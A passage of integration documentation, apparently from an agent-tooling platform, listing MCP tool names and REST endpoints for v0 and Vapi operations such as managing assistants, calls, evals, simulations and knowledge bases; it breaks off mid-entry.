v0_post_chats_by_chatid_restore_message (write) — Restore Message. POST https://api.v0.dev/v2/chats/{chatId}/restore-message. Restores the files associated with an assistant message. The associated files must not already be the latest files in the chat. POST /api/v1/v0/chats/{chatId}/restore-message. Scopes: api. v0_post_chats_by_chatid_vercel_project (write) — Create Vercel Project. POST https://api.v0.dev/v2/chats/{chatId}/vercel-project. Creates a Vercel project and attaches it to the chat. POST /api/v1/v0/chats/{chatId}/vercel-project. Scopes: api. v0_post_chats_from_files (write) — Create Chat From Files. POST https://api.v0.dev/v2/chats/from-files. SPENDS v0 CREDITS (runs a model generation). Creates a new chat from inline source files. POST /api/v1/v0/chats/from-files. Scopes: api. v0_post_chats_from_repo (write) — Create Chat From Repository. POST https://api.v0.dev/v2/chats/from-repo. SPENDS v0 CREDITS (runs a model generation). Creates a new chat from a GitHub repository. POST /api/v1/v0/chats/from-repo. Scopes: api. v0_post_chats_from_vercel_project (write) — Create Chat From Vercel Project. POST https://api.v0.dev/v2/chats/from-vercel-project. SPENDS v0 CREDITS (runs a model generation). Creates a new chat from an existing Vercel project. POST /api/v1/v0/chats/from-vercel-project. Scopes: api. v0_post_chats_from_zip (write) — Create Chat From ZIP. POST https://api.v0.dev/v2/chats/from-zip. SPENDS v0 CREDITS (runs a model generation). Creates a new chat from a zip archive. POST /api/v1/v0/chats/from-zip. Scopes: api. v0_post_hooks (write) — Create Webhook. POST https://api.v0.dev/v2/hooks. Creates a new webhook that listens for specific events. Supports optional association with a chat. POST /api/v1/v0/hooks. Scopes: api. v0_post_mcp_servers (write) — Create MCP Server. POST https://api.v0.dev/v2/mcp-servers. Creates a new MCP server configuration. Limited to 100 servers per user. POST /api/v1/v0/mcp-servers. Scopes: api. v0_put_settings_preview_hosts (write) — Set Trusted Preview Hosts. PUT https://api.v0.dev/v2/settings/preview-hosts. Sets the host patterns trusted to embed previews for a standalone team or parent organization. Organization child teams cannot override this setting. PUT /api/v1/v0/settings/preview-hosts. Scopes: api. ================================================================================ ## Vapi URL: https://www.agenticfabriq.com/integrations/vapi Section: Integrated Tools Vapi — 138 MCP tools Provider key: vapi. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. vapi_delete_assistant_by_id (write, destructive) — Delete Assistant via DELETE /assistant/{id}. Reference: https://docs.vapi.ai/api-reference/assistants/delete DELETE /api/v1/vapi/assistant/{id}. Scopes: api. vapi_delete_call_by_id (write, destructive) — Delete Call via DELETE /call/{id}. Reference: https://docs.vapi.ai/api-reference/calls/delete DELETE /api/v1/vapi/call/{id}. Scopes: api. vapi_delete_campaign_by_id (write, destructive) — Delete Campaign via DELETE /campaign/{id}. DELETE /api/v1/vapi/campaign/{id}. Scopes: api. vapi_delete_chat_by_id (write, destructive) — Delete Chat via DELETE /chat/{id}. Reference: https://docs.vapi.ai/api-reference/chats/delete DELETE /api/v1/vapi/chat/{id}. Scopes: api. vapi_delete_eval_by_id (write, destructive) — Delete Eval via DELETE /eval/{id}. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-remove DELETE /api/v1/vapi/eval/{id}. Scopes: api. vapi_delete_eval_run_by_id (write, destructive) — Delete Eval Run via DELETE /eval/run/{id}. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-remove-run DELETE /api/v1/vapi/eval/run/{id}. Scopes: api. vapi_delete_eval_simulation_by_id (write, destructive) — Delete Simulation via DELETE /eval/simulation/{id}. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-controller-remove DELETE /api/v1/vapi/eval/simulation/{id}. Scopes: api. vapi_delete_eval_simulation_personality_by_id (write, destructive) — Delete Personality via DELETE /eval/simulation/personality/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-personalities/personality-controller-remove DELETE /api/v1/vapi/eval/simulation/personality/{id}. Scopes: api. vapi_delete_eval_simulation_scenario_by_id (write, destructive) — Delete Scenario via DELETE /eval/simulation/scenario/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-scenarios/scenario-controller-remove DELETE /api/v1/vapi/eval/simulation/scenario/{id}. Scopes: api. vapi_delete_eval_simulation_suite_by_id (write, destructive) — Delete Simulation Suite via DELETE /eval/simulation/suite/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-suites/simulation-suite-controller-remove DELETE /api/v1/vapi/eval/simulation/suite/{id}. Scopes: api. vapi_delete_file_by_id (write, destructive) — Delete File via DELETE /file/{id}. Reference: https://docs.vapi.ai/api-reference/files/delete DELETE /api/v1/vapi/file/{id}. Scopes: api. vapi_delete_observability_scorecard_by_id (write, destructive) — Delete Scorecard via DELETE /observability/scorecard/{id}. Reference: https://docs.vapi.ai/api-reference/observability-scorecard/scorecard-controller-remove DELETE /api/v1/vapi/observability/scorecard/{id}. Scopes: api. vapi_delete_phone_number_by_id (write, destructive) — Delete Phone Number via DELETE /phone-number/{id}. Reference: https://docs.vapi.ai/api-reference/phone-numbers/delete DELETE /api/v1/vapi/phone-number/{id}. Scopes: api. vapi_delete_provider_by_provider_by_resourcename_by_id (write, destructive) — Delete Provider Resource via DELETE /provider/{provider}/{resourceName}/{id}. Reference: https://docs.vapi.ai/api-reference/provider-resources/provider-resource-controller-delete-provider-resource DELETE /api/v1/vapi/provider/{provider}/{resourceName}/{id}. Scopes: api. vapi_delete_reporting_board_by_id (write, destructive) — Delete Board via DELETE /reporting/board/{id}. Reference: https://docs.vapi.ai/api-reference/board/board-controller-remove DELETE /api/v1/vapi/reporting/board/{id}. Scopes: api. vapi_delete_reporting_insight_by_id (write, destructive) — Delete Insight via DELETE /reporting/insight/{id}. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-remove DELETE /api/v1/vapi/reporting/insight/{id}. Scopes: api. vapi_delete_session_by_id (write, destructive) — Delete Session via DELETE /session/{id}. Reference: https://docs.vapi.ai/api-reference/sessions/delete DELETE /api/v1/vapi/session/{id}. Scopes: api. vapi_delete_squad_by_id (write, destructive) — Delete Squad via DELETE /squad/{id}. Reference: https://docs.vapi.ai/api-reference/squads/delete DELETE /api/v1/vapi/squad/{id}. Scopes: api. vapi_delete_structured_output_by_id (write, destructive) — Delete Structured Output via DELETE /structured-output/{id}. Reference: https://docs.vapi.ai/api-reference/structured-outputs/structured-output-controller-remove DELETE /api/v1/vapi/structured-output/{id}. Scopes: api. vapi_delete_tool_by_id (write, destructive) — Delete Tool via DELETE /tool/{id}. Reference: https://docs.vapi.ai/api-reference/tools/delete DELETE /api/v1/vapi/tool/{id}. Scopes: api. vapi_delete_v2_campaign_by_id (write, destructive) — Delete Campaign (V2) via DELETE /v2/campaign/{id}. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-remove-v-2 DELETE /api/v1/vapi/v2/campaign/{id}. Scopes: api. vapi_delete_v2_knowledge_base_by_id (write, destructive) — Delete a Knowledge Base V2 via DELETE /v2/knowledge-base/{id}. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-remove DELETE /api/v1/vapi/v2/knowledge-base/{id}. Scopes: api. vapi_delete_v2_knowledge_base_by_id_file_by_fileid (write, destructive) — Detach a file (V2) via DELETE /v2/knowledge-base/{id}/file/{fileId}. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-file-detach DELETE /api/v1/vapi/v2/knowledge-base/{id}/file/{fileId}. Scopes: api. vapi_get_assistant (read) — List Assistants via GET /assistant. Reference: https://docs.vapi.ai/api-reference/assistants/list GET /api/v1/vapi/assistant. Scopes: api. vapi_get_assistant_by_id (read) — Get Assistant via GET /assistant/{id}. Reference: https://docs.vapi.ai/api-reference/assistants/get GET /api/v1/vapi/assistant/{id}. Scopes: api. vapi_get_call (read) — List Calls via GET /call. Reference: https://docs.vapi.ai/api-reference/calls/list GET /api/v1/vapi/call. Scopes: api. vapi_get_call_by_id (read) — Get Call via GET /call/{id}. Reference: https://docs.vapi.ai/api-reference/calls/get GET /api/v1/vapi/call/{id}. Scopes: api. vapi_get_call_by_id_assistant_recording (read) — Download Call Assistant Recording via GET /call/{id}/assistant-recording. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-assistant-recording-download GET /api/v1/vapi/call/{id}/assistant-recording. Scopes: api. vapi_get_call_by_id_call_logs (read) — Download Call Logs via GET /call/{id}/call-logs. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-call-logs-download GET /api/v1/vapi/call/{id}/call-logs. Scopes: api. vapi_get_call_by_id_customer_recording (read) — Download Call Customer Recording via GET /call/{id}/customer-recording. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-customer-recording-download GET /api/v1/vapi/call/{id}/customer-recording. Scopes: api. vapi_get_call_by_id_mono_recording (read) — Download Call Mono Recording via GET /call/{id}/mono-recording. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-mono-recording-download GET /api/v1/vapi/call/{id}/mono-recording. Scopes: api. vapi_get_call_by_id_pcap (read) — Download Call Packet Capture (pcap) via GET /call/{id}/pcap. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-pcap-download GET /api/v1/vapi/call/{id}/pcap. Scopes: api. vapi_get_call_by_id_stereo_recording (read) — Download Call Stereo Recording via GET /call/{id}/stereo-recording. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-stereo-recording-download GET /api/v1/vapi/call/{id}/stereo-recording. Scopes: api. vapi_get_call_by_id_video_recording (read) — Download Call Video Recording via GET /call/{id}/video-recording. Returns a short-lived presigned download URL (Vapi answers 302); the file itself is not downloaded. Reference: https://docs.vapi.ai/api-reference/calls/call-artifact-controller-video-recording-download GET /api/v1/vapi/call/{id}/video-recording. Scopes: api. vapi_get_campaign (read) — List Campaigns via GET /campaign. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-find-all GET /api/v1/vapi/campaign. Scopes: api. vapi_get_campaign_by_id (read) — Get Campaign via GET /campaign/{id}. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-find-one GET /api/v1/vapi/campaign/{id}. Scopes: api. vapi_get_chat (read) — List Chats via GET /chat. Reference: https://docs.vapi.ai/api-reference/chats/list GET /api/v1/vapi/chat. Scopes: api. vapi_get_chat_by_id (read) — Get Chat via GET /chat/{id}. Reference: https://docs.vapi.ai/api-reference/chats/get GET /api/v1/vapi/chat/{id}. Scopes: api. vapi_get_eval (read) — List Evals via GET /eval. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-get-paginated GET /api/v1/vapi/eval. Scopes: api. vapi_get_eval_by_id (read) — Get Eval via GET /eval/{id}. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-get GET /api/v1/vapi/eval/{id}. Scopes: api. vapi_get_eval_run (read) — List Eval Runs via GET /eval/run. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-get-runs-paginated GET /api/v1/vapi/eval/run. Scopes: api. vapi_get_eval_run_by_id (read) — Get Eval Run via GET /eval/run/{id}. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-get-run GET /api/v1/vapi/eval/run/{id}. Scopes: api. vapi_get_eval_simulation (read) — List Simulations via GET /eval/simulation. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-controller-find-all GET /api/v1/vapi/eval/simulation. Scopes: api. vapi_get_eval_simulation_by_id (read) — Get Simulation via GET /eval/simulation/{id}. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-controller-find-one GET /api/v1/vapi/eval/simulation/{id}. Scopes: api. vapi_get_eval_simulation_concurrency (read) — Get Simulation Concurrency via GET /eval/simulation/concurrency. Measured 2026-09-14: Vapi answers 400 "id must be a valid UUID." to this documented path -- its own GET /eval/simulation/{id} route matches `concurrency` as an id first -- so expect that error until Vapi fixes its route order. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-controller-get-concurrency GET /api/v1/vapi/eval/simulation/concurrency. Scopes: api. vapi_get_eval_simulation_personality (read) — List Personalities via GET /eval/simulation/personality. Reference: https://docs.vapi.ai/api-reference/simulation-personalities/personality-controller-find-all GET /api/v1/vapi/eval/simulation/personality. Scopes: api. vapi_get_eval_simulation_personality_by_id (read) — Get Personality via GET /eval/simulation/personality/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-personalities/personality-controller-find-one GET /api/v1/vapi/eval/simulation/personality/{id}. Scopes: api. vapi_get_eval_simulation_run (read) — List Simulation Runs via GET /eval/simulation/run. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-find-all GET /api/v1/vapi/eval/simulation/run. Scopes: api. vapi_get_eval_simulation_run_by_id (read) — Get Simulation Run via GET /eval/simulation/run/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-find-one GET /api/v1/vapi/eval/simulation/run/{id}. Scopes: api. vapi_get_eval_simulation_run_by_id_item (read) — List Simulation Run Items via GET /eval/simulation/run/{id}/item. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-find-items GET /api/v1/vapi/eval/simulation/run/{id}/item. Scopes: api. vapi_get_eval_simulation_run_by_id_item_by_itemid (read) — Get Simulation Run Item via GET /eval/simulation/run/{id}/item/{itemId}. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-find-item GET /api/v1/vapi/eval/simulation/run/{id}/item/{itemId}. Scopes: api. vapi_get_eval_simulation_scenario (read) — List Scenarios via GET /eval/simulation/scenario. Reference: https://docs.vapi.ai/api-reference/simulation-scenarios/scenario-controller-find-all GET /api/v1/vapi/eval/simulation/scenario. Scopes: api. vapi_get_eval_simulation_scenario_by_id (read) — Get Scenario via GET /eval/simulation/scenario/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-scenarios/scenario-controller-find-one GET /api/v1/vapi/eval/simulation/scenario/{id}. Scopes: api. vapi_get_eval_simulation_suite (read) — List Simulation Suites via GET /eval/simulation/suite. Reference: https://docs.vapi.ai/api-reference/simulation-suites/simulation-suite-controller-find-all GET /api/v1/vapi/eval/simulation/suite. Scopes: api. vapi_get_eval_simulation_suite_by_id (read) — Get Simulation Suite via GET /eval/simulation/suite/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-suites/simulation-suite-controller-find-one GET /api/v1/vapi/eval/simulation/suite/{id}. Scopes: api. vapi_get_file (read) — List Files via GET /file. Reference: https://docs.vapi.ai/api-reference/files/list GET /api/v1/vapi/file. Scopes: api. vapi_get_file_by_id (read) — Get File via GET /file/{id}. Reference: https://docs.vapi.ai/api-reference/files/get GET /api/v1/vapi/file/{id}. Scopes: api. vapi_get_observability_scorecard (read) — List Scorecards via GET /observability/scorecard. Reference: https://docs.vapi.ai/api-reference/observability-scorecard/scorecard-controller-get-paginated GET /api/v1/vapi/observability/scorecard. Scopes: api. vapi_get_observability_scorecard_by_id (read) — Get Scorecard via GET /observability/scorecard/{id}. Reference: https://docs.vapi.ai/api-reference/observability-scorecard/scorecard-controller-get GET /api/v1/vapi/observability/scorecard/{id}. Scopes: api. vapi_get_phone_number (read) — List Phone Numbers via GET /phone-number. GET /api/v1/vapi/phone-number. Scopes: api. vapi_get_phone_number_by_id (read) — Get Phone Number via GET /phone-number/{id}. Reference: https://docs.vapi.ai/api-reference/phone-numbers/get GET /api/v1/vapi/phone-number/{id}. Scopes: api. vapi_get_provider_by_provider_by_resourcename (read) — List Provider Resources via GET /provider/{provider}/{resourceName}. Reference: https://docs.vapi.ai/api-reference/provider-resources/provider-resource-controller-get-provider-resources-paginated GET /api/v1/vapi/provider/{provider}/{resourceName}. Scopes: api. vapi_get_provider_by_provider_by_resourcename_by_id (read) — Get Provider Resource via GET /provider/{provider}/{resourceName}/{id}. Reference: https://docs.vapi.ai/api-reference/provider-resources/provider-resource-controller-get-provider-resource GET /api/v1/vapi/provider/{provider}/{resourceName}/{id}. Scopes: api. vapi_get_reporting_board (read) — Get Boards via GET /reporting/board. Reference: https://docs.vapi.ai/api-reference/board/board-controller-find-all GET /api/v1/vapi/reporting/board. Scopes: api. vapi_get_reporting_board_by_id (read) — Get Board via GET /reporting/board/{id}. Reference: https://docs.vapi.ai/api-reference/board/board-controller-find-one GET /api/v1/vapi/reporting/board/{id}. Scopes: api. vapi_get_reporting_board_default_metrics_overview (read) — Get Default Metrics Overview Board via GET /reporting/board/default/metrics-overview. Reference: https://docs.vapi.ai/api-reference/board/board-controller-metrics-overview-ensure GET /api/v1/vapi/reporting/board/default/metrics-overview. Scopes: api. vapi_get_reporting_insight (read) — Get Insights via GET /reporting/insight. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-find-all GET /api/v1/vapi/reporting/insight. Scopes: api. vapi_get_reporting_insight_by_id (read) — Get Insight via GET /reporting/insight/{id}. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-find-one GET /api/v1/vapi/reporting/insight/{id}. Scopes: api. vapi_get_session (read) — List Sessions via GET /session. Reference: https://docs.vapi.ai/api-reference/sessions/list GET /api/v1/vapi/session. Scopes: api. vapi_get_session_by_id (read) — Get Session via GET /session/{id}. Reference: https://docs.vapi.ai/api-reference/sessions/get GET /api/v1/vapi/session/{id}. Scopes: api. vapi_get_squad (read) — List Squads via GET /squad. Reference: https://docs.vapi.ai/api-reference/squads/list GET /api/v1/vapi/squad. Scopes: api. vapi_get_squad_by_id (read) — Get Squad via GET /squad/{id}. Reference: https://docs.vapi.ai/api-reference/squads/get GET /api/v1/vapi/squad/{id}. Scopes: api. vapi_get_structured_output (read) — List Structured Outputs via GET /structured-output. Reference: https://docs.vapi.ai/api-reference/structured-outputs/structured-output-controller-find-all GET /api/v1/vapi/structured-output. Scopes: api. vapi_get_structured_output_by_id (read) — Get Structured Output via GET /structured-output/{id}. Reference: https://docs.vapi.ai/api-reference/structured-outputs/structured-output-controller-find-one GET /api/v1/vapi/structured-output/{id}. Scopes: api. vapi_get_tool (read) — List Tools via GET /tool. Reference: https://docs.vapi.ai/api-reference/tools/list GET /api/v1/vapi/tool. Scopes: api. vapi_get_tool_by_id (read) — Get Tool via GET /tool/{id}. Reference: https://docs.vapi.ai/api-reference/tools/get GET /api/v1/vapi/tool/{id}. Scopes: api. vapi_get_v2_campaign (read) — List Campaigns V2 via GET /v2/campaign. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-find-all-v-2 GET /api/v1/vapi/v2/campaign. Scopes: api. vapi_get_v2_campaign_by_id (read) — Get Campaign V2 via GET /v2/campaign/{id}. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-find-one-v-2 GET /api/v1/vapi/v2/campaign/{id}. Scopes: api. vapi_get_v2_campaign_by_id_contacts (read) — Get Campaign V2 Contacts via GET /v2/campaign/{id}/contacts. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-get-campaign-v-2-contacts GET /api/v1/vapi/v2/campaign/{id}/contacts. Scopes: api. vapi_get_v2_knowledge_base (read) — List Knowledge Bases V2 via GET /v2/knowledge-base. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-find-all GET /api/v1/vapi/v2/knowledge-base. Scopes: api. vapi_get_v2_knowledge_base_by_id (read) — Get a Knowledge Base V2 via GET /v2/knowledge-base/{id}. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-find-one GET /api/v1/vapi/v2/knowledge-base/{id}. Scopes: api. vapi_get_v2_knowledge_base_by_id_file (read) — List files in a Knowledge Base V2 via GET /v2/knowledge-base/{id}/file. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-files-get GET /api/v1/vapi/v2/knowledge-base/{id}/file. Scopes: api. vapi_get_v2_phone_number (read) — List Phone Numbers (V2) via GET /v2/phone-number. GET /api/v1/vapi/v2/phone-number. Scopes: api. vapi_patch_assistant_by_id (write) — Update Assistant via PATCH /assistant/{id}. Reference: https://docs.vapi.ai/api-reference/assistants/update PATCH /api/v1/vapi/assistant/{id}. Scopes: api. vapi_patch_call_by_id (write) — Update Call via PATCH /call/{id}. Reference: https://docs.vapi.ai/api-reference/calls/update PATCH /api/v1/vapi/call/{id}. Scopes: api. vapi_patch_campaign_by_id (write) — Update Campaign via PATCH /campaign/{id}. PATCH /api/v1/vapi/campaign/{id}. Scopes: api. vapi_patch_eval_by_id (write) — Update Eval via PATCH /eval/{id}. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-update PATCH /api/v1/vapi/eval/{id}. Scopes: api. vapi_patch_eval_simulation_by_id (write) — Update Simulation via PATCH /eval/simulation/{id}. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-controller-update PATCH /api/v1/vapi/eval/simulation/{id}. Scopes: api. vapi_patch_eval_simulation_personality_by_id (write) — Update Personality via PATCH /eval/simulation/personality/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-personalities/personality-controller-update PATCH /api/v1/vapi/eval/simulation/personality/{id}. Scopes: api. vapi_patch_eval_simulation_run_by_id (write) — Cancel Simulation Run via PATCH /eval/simulation/run/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-cancel-group PATCH /api/v1/vapi/eval/simulation/run/{id}. Scopes: api. vapi_patch_eval_simulation_run_by_id_item_by_itemid (write) — Cancel Simulation Run Item via PATCH /eval/simulation/run/{id}/item/{itemId}. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-cancel-item PATCH /api/v1/vapi/eval/simulation/run/{id}/item/{itemId}. Scopes: api. vapi_patch_eval_simulation_scenario_by_id (write) — Update Scenario via PATCH /eval/simulation/scenario/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-scenarios/scenario-controller-update PATCH /api/v1/vapi/eval/simulation/scenario/{id}. Scopes: api. vapi_patch_eval_simulation_suite_by_id (write) — Update Simulation Suite via PATCH /eval/simulation/suite/{id}. Reference: https://docs.vapi.ai/api-reference/simulation-suites/simulation-suite-controller-update PATCH /api/v1/vapi/eval/simulation/suite/{id}. Scopes: api. vapi_patch_file_by_id (write) — Update File via PATCH /file/{id}. Reference: https://docs.vapi.ai/api-reference/files/update PATCH /api/v1/vapi/file/{id}. Scopes: api. vapi_patch_observability_scorecard_by_id (write) — Update Scorecard via PATCH /observability/scorecard/{id}. Reference: https://docs.vapi.ai/api-reference/observability-scorecard/scorecard-controller-update PATCH /api/v1/vapi/observability/scorecard/{id}. Scopes: api. vapi_patch_phone_number_by_id (write) — Update Phone Number via PATCH /phone-number/{id}. Reference: https://docs.vapi.ai/api-reference/phone-numbers/update PATCH /api/v1/vapi/phone-number/{id}. Scopes: api. vapi_patch_provider_by_provider_by_resourcename_by_id (write) — Update Provider Resource via PATCH /provider/{provider}/{resourceName}/{id}. Reference: https://docs.vapi.ai/api-reference/provider-resources/provider-resource-controller-update-provider-resource PATCH /api/v1/vapi/provider/{provider}/{resourceName}/{id}. Scopes: api. vapi_patch_reporting_board_by_id (write) — Update Board via PATCH /reporting/board/{id}. Reference: https://docs.vapi.ai/api-reference/board/board-controller-update PATCH /api/v1/vapi/reporting/board/{id}. Scopes: api. vapi_patch_reporting_insight_by_id (write) — Update Insight via PATCH /reporting/insight/{id}. Reference: https://docs.vapi.ai/api-reference/insight/insight-controller-update PATCH /api/v1/vapi/reporting/insight/{id}. Scopes: api. vapi_patch_session_by_id (write) — Update Session via PATCH /session/{id}. Reference: https://docs.vapi.ai/api-reference/sessions/update PATCH /api/v1/vapi/session/{id}. Scopes: api. vapi_patch_squad_by_id (write) — Update Squad via PATCH /squad/{id}. Reference: https://docs.vapi.ai/api-reference/squads/update PATCH /api/v1/vapi/squad/{id}. Scopes: api. vapi_patch_structured_output_by_id (write) — Update Structured Output via PATCH /structured-output/{id}. Reference: https://docs.vapi.ai/api-reference/structured-outputs/structured-output-controller-update PATCH /api/v1/vapi/structured-output/{id}. Scopes: api. vapi_patch_tool_by_id (write) — Update Tool via PATCH /tool/{id}. Reference: https://docs.vapi.ai/api-reference/tools/update PATCH /api/v1/vapi/tool/{id}. Scopes: api. vapi_patch_v2_campaign_by_id (write) — Update Campaign (V2) via PATCH /v2/campaign/{id}. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-update-v-2 PATCH /api/v1/vapi/v2/campaign/{id}. Scopes: api. vapi_patch_v2_knowledge_base_by_id (write) — Update a Knowledge Base V2 via PATCH /v2/knowledge-base/{id}. Reference: https://docs.vapi.ai/api-reference/knowledge-bases-v-2/knowledge-base-v-2-controller-update PATCH /api/v1/vapi/v2/knowledge-base/{id}. Scopes: api. vapi_post_analytics (write) — Create Analytics Queries via POST /analytics. Reference: https://docs.vapi.ai/api-reference/analytics/get POST /api/v1/vapi/analytics. Scopes: api. vapi_post_assistant (write) — Create Assistant via POST /assistant. Reference: https://docs.vapi.ai/api-reference/assistants/create POST /api/v1/vapi/assistant. Scopes: api. vapi_post_assistant_background_sound_validate (write) — Validate Background Sound URL via POST /assistant/background-sound/validate. Reference: https://docs.vapi.ai/api-reference/assistants/assistant-controller-validate-background-sound-url POST /api/v1/vapi/assistant/background-sound/validate. Scopes: api. vapi_post_call (write) — Create Call via POST /call. Reference: https://docs.vapi.ai/api-reference/calls/create POST /api/v1/vapi/call. Scopes: api. vapi_post_campaign (write) — Create Campaign via POST /campaign. Reference: https://docs.vapi.ai/api-reference/campaigns/campaign-controller-create POST /api/v1/vapi/campaign. Scopes: api. vapi_post_chat (write) — Create Chat. Creates a new chat with optional SMS delivery via transport field. Requires at least one of: assistantId/assistant, sessionId, or previousChatId. Note: sessionId and previousChatId are mutually exclusive. Transport field enables SMS delivery with two modes: (1) New conversation - provide transport.phoneNumberId and transport.customer to create a new session, (2) Existing conversation - provide sessionId to use existing session data. Cannot specify both sessionId and transport fields together. The transport.useLLMGeneratedMessageForOutbound flag controls whether input is processed by LLM (true, default) or forwarded directly as SMS (false) via POST /chat. Reference: https://docs.vapi.ai/api-reference/chats/create POST /api/v1/vapi/chat. Scopes: api. vapi_post_chat_responses (write) — Create Chat (OpenAI Compatible) via POST /chat/responses. Reference: https://docs.vapi.ai/api-reference/chats/create-response POST /api/v1/vapi/chat/responses. Scopes: api. vapi_post_eval (write) — Create Eval via POST /eval. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-create POST /api/v1/vapi/eval. Scopes: api. vapi_post_eval_run (write) — Create Eval Run via POST /eval/run. Reference: https://docs.vapi.ai/api-reference/eval/eval-controller-run POST /api/v1/vapi/eval/run. Scopes: api. vapi_post_eval_simulation (write) — Create Simulation via POST /eval/simulation. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-controller-create POST /api/v1/vapi/eval/simulation. Scopes: api. vapi_post_eval_simulation_personality (write) — Create Personality via POST /eval/simulation/personality. Reference: https://docs.vapi.ai/api-reference/simulation-personalities/personality-controller-create POST /api/v1/vapi/eval/simulation/personality. Scopes: api. vapi_post_eval_simulation_run (write) — Create Simulation Run via POST /eval/simulation/run. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-create POST /api/v1/vapi/eval/simulation/run. Scopes: api. vapi_post_eval_simulation_run_by_id_item_by_itemid_generate (write) — Generate Improvement Suggestions via POST /eval/simulation/run/{id}/item/{itemId}/generate. Reference: https://docs.vapi.ai/api-reference/simulation-runs/simulation-run-controller-generate-suggestions POST /api/v1/vapi/eval/simulation/run/{id}/item/{itemId}/generate. Scopes: api. vapi_post_eval_simulation_scenario (write) — Create Scenario via POST /eval/simulation/scenario. Reference: https://docs.vapi.ai/api-reference/simulation-scenarios/scenario-controller-create POST /api/v1/vapi/eval/simulation/scenario. Scopes: api. vapi_post_eval_simulation_scenario_generate (write) — Generate Scenarios with AI. Uses AI to analyze an assistant or squad configuration and generate test scenarios via POST /eval/simulation/scenario/generate. Reference: https://docs.vapi.ai/api-reference/simulations/simulation-generate-controller-generate POST /api/v1/vapi/eval/simulation/scenario/generate. Scopes: api. vapi_post_eval_simulation_suite (write) — Create Simulation Suite via POST /eval/simulation/suite. Reference: https://docs.vapi.ai/api-reference/simulation-suites/simulation-suite-controller-create POST /api/v1/vapi/eval/simulation/suite. Scopes: api. vapi_post_eval_simulation_suite_by_id_duplicate (write) — Duplicate simulation suite via POST /eval/simulation/suite/{id}/duplicate. Reference: https://docs.vapi.ai/api-reference/simulation-suites/simulation-suite-controller-duplicate POST /api/v1/vapi/eval/simulation/suite/{id}/duplicate. Scopes: api. vapi_post_observability_scorecard (write) — Create Scorecard via POST /observability/scorecard. Reference: https://docs.vapi.ai/api-reference/observability-scorecard/scorecard-controller-create POST /api/v1/vapi/observability/scorecard. Scopes: api. vapi_post_phone_number (write) — Create Phone Number via POST /phone-number. Reference: https://docs.vapi.ai/api-reference/phone-numbers/create POST /api/v1/vapi/phone-number. Scopes: api. vapi_post_provider_by_provider_by_resourcename (write) — Create Provider Resource via POST /provider/{provider}/{resourceName}. Reference: https://docs.vapi.ai/api-reference/provider-resources/provider-resource-controller-create-provider-resource POST /api/v1/vapi/provider/{provider}/{resourceName}. Scopes: api. vapi_post_reporting_board (write) — Create Board via POST /reporting/board. Reference: 